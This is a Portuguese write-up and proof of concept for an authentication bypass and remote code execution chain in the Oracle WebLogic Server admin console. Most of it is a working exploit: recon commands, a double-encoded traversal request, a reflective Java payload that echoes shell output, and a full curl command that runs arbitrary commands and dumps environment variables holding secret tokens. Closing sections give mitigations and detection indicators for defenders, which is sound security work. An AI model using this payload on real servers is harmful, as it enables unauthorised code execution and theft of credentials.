
Análise técnica e PoC limpo de Java Thread Echo para a cadeia de vulnerabilidades do Oracle WebLogic Server.
O repositório contém um relatório técnico (Write-up) e uma prova de conceito (PoC) para demonstrar a cadeia de vulnerabilidades de bypass de autenticação (Authentication Bypass) e execução remota de código (RCE) no componente do console de administração do Oracle WebLogic Server.
🛑 AVISO E ISENÇÃO DE RESPONSABILIDADE: Este material foi elaborado exclusivamente para fins educacionais e para a realização de auditorias de segurança legítimas (Pentest). O uso das técnicas descritas contra sistemas sem o consentimento prévio por escrito dos proprietários é punido por lei.
12.2.1.3 implantadonmap, curl, bashPara determinar a superfície de ataque, foi realizada uma varredura direcionada das portas padrão de serviços web e das portas de administração de aplicações Java:
nmap -sV -p 7001,80,8080,8443 <TARGET_IP>
Saída do terminal:
Starting Nmap ( https://nmap.org )
Nmap scan report for target.local (<TARGET_IP>)
Host is up (0.012s latency).
PORT STATE SERVICE VERSION
80/tcp closed http
8080/tcp closed http-proxy
7001/tcp open http Oracle WebLogic admin httpd 12.2.1.3 (T3 protocol enabled)
Service detection performed.
Nmap done: 1 IP address (1 host up) scanned
12.2.1.3. A habilitação do protocolo T3 também indica vetores alternativos, mas para esta pesquisa foi escolhida a interface web HTTP do console.A análise da estrutura de caminhos mostrou que o servidor web processa incorretamente sequências de subida de diretório quando estão duplamente codificadas em URL. O recurso /console/css/ fica aberto para conteúdo estático. Construímos uma solicitação para acessar o portal protegido:
/console/css/%252e%252e%252fconsole.portalVerificamos a disponibilidade e o comportamento do servidor (esperamos o status 200 OK em vez de 403 Forbidden ou 302 Redirect para a página de login):
curl -I -s -k "http://<TARGET_IP>:7001/console/css/%252e%252e%252fconsole.portal"
Resposta do servidor:
HTTP/1.1 200 OK
Connection: close
Content-Type: text/html; charset=UTF-8
Ao combinar o bypass de autenticação com a chamada do manipulador de sessões com.tangosol.coherence.mvel2.sh.ShellSession, obtemos a capacidade de executar código Java arbitrário.
A execução comum de comandos via java.lang.Runtime é "cega" (Blind RCE). Para implementar a técnica de Command Echo (retorno da saída do terminal diretamente no corpo da resposta HTTP), foi desenvolvido um payload Java reflexivo especial.
// 1. Перехватываем текущий рабочий поток исполнения WebLogic
weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread) Thread.currentThread();
weblogic.work.WorkAdapter adapter = executeThread.getCurrentWork();
// 2. Извлекаем внутренний обработчик соединений через Reflection API
java.lang.reflect.Field field = adapter.getClass().getDeclaredField("connectionHandler");
field.setAccessible(true);
Object obj = field.get(adapter);
// 3. Получаем доступ к объектам Request и Response текущей сессии
weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl) obj.getClass().getMethod("getServletRequest").invoke(obj);
weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl) req.getClass().getMethod("getResponse").invoke(req);
// 4. Читаем кастомный HTTP-заголовок, отправленный атакующим
String cmd = req.getHeader("X-CMD-HEADER");
if (cmd != null) {
// Определяем ОС целевой системы для корректного вызова шелла
String[] cmds = System.getProperty("os.name").toLowerCase().contains("window")
? new String[]{"cmd.exe", "/c", cmd}
: new String[]{"/bin/sh", "-c", cmd};
// Выполняем системную команду и считываем Input Stream
String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream())
.useDelimiter("\\A").next();
// Принудительно записываем результат обратно в выходной HTTP-поток веб-сервера
res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result));
res.getServletOutputStream().flush();
}
// 5. Прерываем поток для моментальной отправки HTTP-пакета клиенту
executeThread.interrupt();
Para automatizar o envio do contexto Java, montamos o comando final curl. Enviamos o payload no parâmetro POST handle, e o comando desejado é enviado no cabeçalho personalizado X-CMD-HEADER: env.
Essa abordagem protege os dados de distorção pelo interpretador de linha de comando Bash local do pesquisador.
curl -v -k -N -X POST "http://<TARGET_IP>:7001/console/css/%252e%252e%252fconsole.portal" \
--data "_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession(\"weblogic.work.ExecuteThread executeThread = (weblogic.work.ExecuteThread)Thread.currentThread(); weblogic.work.WorkAdapter adapter = executeThread.getCurrentWork(); java.lang.reflect.Field field = adapter.getClass().getDeclaredField(\"connectionHandler\"); field.setAccessible(true); Object obj = field.get(adapter); weblogic.servlet.internal.ServletRequestImpl req = (weblogic.servlet.internal.ServletRequestImpl)obj.getClass().getMethod(\"getServletRequest\").invoke(obj); String cmd = req.getHeader(\"X-CMD-HEADER\"); String[] cmds = System.getProperty(\"os.name\").toLowerCase().contains(\"window\") ? new String[] {\"cmd.exe\" , \"/c\" , cmd} : new String[]{\"/bin/sh\" , \"-c\" , cmd}; if (cmd != null) { String result = new java.util.Scanner(java.lang.Runtime.getRuntime().exec(cmds).getInputStream()).useDelimiter(\"\\\\A\").next(); weblogic.servlet.internal.ServletResponseImpl res = (weblogic.servlet.internal.ServletResponseImpl)req.getClass().getMethod(\"getResponse\").invoke(req); res.getServletOutputStream().writeStream(new weblogic.xml.util.StringInputStream(result)); res.getServletOutputStream().flush(); } executeThread.interrupt();\")" \
-H "X-CMD-HEADER: env"
Saída real verificada (dump das variáveis de ambiente):
* Trying <TARGET_IP>:7001...
* Connected to target.local (<TARGET_IP>) port 7001
> POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1
> Host: <TARGET_IP>:7001
> User-Agent: curl/8.5.0
> X-CMD-HEADER: env
>
< HTTP/1.1 200 OK
< Connection: close
< Content-Type: text/html; charset=UTF-8
<
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
JAVA_HOME=/usr/lib/jvm/java-8-openjdk-amd64
JAVA_USE_64BIT=true
HOSTNAME=node-app-prod-instance
WEBLOGIC_CLUSTER_NAME=ProductionCluster
APP_SECRET_TOKEN=<REDACTED_SECURE_TOKEN_VALUE>
TARGET_ENV_VARIABLE=<REDACTED_SECRET_FLAG_HASH>
* transfer closed with outstanding read data remaining
* Closing connection
curl: (18) transfer closed with outstanding read data remaining
curl: (18) no final do log confirma o sucesso da exploração. Ele é causado pela instrução executeThread.interrupt(), que força o encerramento da sessão TCP imediatamente após o buffer com os resultados do comando env ser enviado ao cliente.7001, /console) em relação ao perímetro externo (acesso somente via VPN interna/microssegmentação).%252e) em combinação com chamadas específicas de classes Java.Para especialistas em monitoramento de segurança (SOC/Blue Team), a exploração bem-sucedida dessa cadeia de vulnerabilidades deixa rastros claros na infraestrutura.
Nos logs do servidor web WebLogic (geralmente localizados em access.log), o marcador do ataque é a presença de dupla codificação URL de pontos e barra, combinada com o acesso ao portal de administração por meio de diretórios estáticos:
.. na forma codificada: %252e%252e%252f ou %252e%252e%252F dentro do URI."POST /console/css/%252e%252e%252fconsole.portal HTTP/1.1" 200 4531
Se a auditoria de processos estiver configurada no servidor (por exemplo, via Auditd no Linux ou Sysmon no Windows), um sinal de Remote Code Execution será o comportamento anômalo do processo pai Java:
/bin/sh, /bin/bash ou cmd.exe):
├─ java (WebLogic Server process)
│ └─ /bin/sh -c env
X-CMD-HEADER ou X-Forwarded-Cmd) usados pelo atacante para enviar a carga útil (Command Echo).